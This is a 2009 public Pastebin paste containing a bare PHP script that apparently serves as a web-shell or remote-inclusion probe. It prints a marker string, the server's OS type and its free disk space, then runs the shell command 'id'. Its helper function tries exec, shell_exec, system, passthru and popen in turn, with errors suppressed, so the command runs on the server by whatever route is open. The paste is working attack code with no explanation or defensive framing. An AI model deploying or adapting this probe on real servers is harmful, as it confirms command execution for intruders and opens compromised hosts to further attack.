Share Pastebin
Guest
Public paste!

keniobats

By: a guest | Nov 2nd, 2009 | Syntax: PHP | Size: 1.38 KB | Hits: 140 | Expires: Never
Copy text to clipboard
  1. <?
  2.  
  3. $dir = @getcwd();
  4.  
  5. echo "Mic22<br>";
  6.  
  7. $OS = @PHP_OS;
  8.  
  9. echo "OSTYPE:$OS<br>";
  10.  
  11. $free = disk_free_space($dir);
  12.  
  13.  
  14.  
  15. if ($free === FALSE) {$free = 0;}
  16.  
  17.  
  18.  
  19. if ($free < 0) {$free = 0;}
  20.  
  21. echo "Free:".view_size($free)."<br>";
  22.  
  23.  
  24.  
  25. $cmd="id";
  26.  
  27. $eseguicmd=ex($cmd);
  28.  
  29. echo $eseguicmd;
  30.  
  31.  
  32.  
  33. function ex($cfe){
  34.  
  35. $res = '';
  36.  
  37. if (!empty($cfe)){
  38.  
  39. if(function_exists('exec')){
  40.  
  41. @exec($cfe,$res);
  42.  
  43. $res = join("\n",$res);
  44.  
  45. }
  46.  
  47. elseif(function_exists('shell_exec')){
  48.  
  49. $res = @shell_exec($cfe);
  50.  
  51. }
  52.  
  53. elseif(function_exists('system')){
  54.  
  55.  
  56. @system($cfe);
  57.  
  58. $res = @ob_get_contents();
  59.  
  60.  
  61. }
  62.  
  63. elseif(function_exists('passthru')){
  64.  
  65.  
  66. @passthru($cfe);
  67.  
  68. $res = @ob_get_contents();
  69.  
  70.  
  71. }
  72.  
  73. elseif(@is_resource($f = @popen($cfe,"r"))){
  74.  
  75. $res = "";
  76.  
  77. while(!@feof($f)) { $res .= @fread($f,1024); }
  78.  
  79. @pclose($f);
  80.  
  81. }}
  82.  
  83. return $res;
  84.  
  85. }
  86.  
  87.  
  88.  
  89. function view_size($size)
  90.  
  91.  
  92.  
  93. {
  94.  
  95.  
  96.  
  97.  if (!is_numeric($size)) {return FALSE;}
  98.  
  99.  
  100.  
  101.  else
  102.  
  103.  
  104.  
  105.  {
  106.  
  107.  
  108.  
  109.   if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";}
  110.  
  111.  
  112.  
  113.   elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";}
  114.  
  115.  
  116.  
  117.   elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";}
  118.  
  119.  
  120.  
  121.   else {$size = $size . " B";}
  122.  
  123.  
  124.  
  125.   return $size;
  126.  
  127.  
  128.  
  129.  }
  130.  
  131.  
  132.  
  133. }
  134.  
  135.  
  136.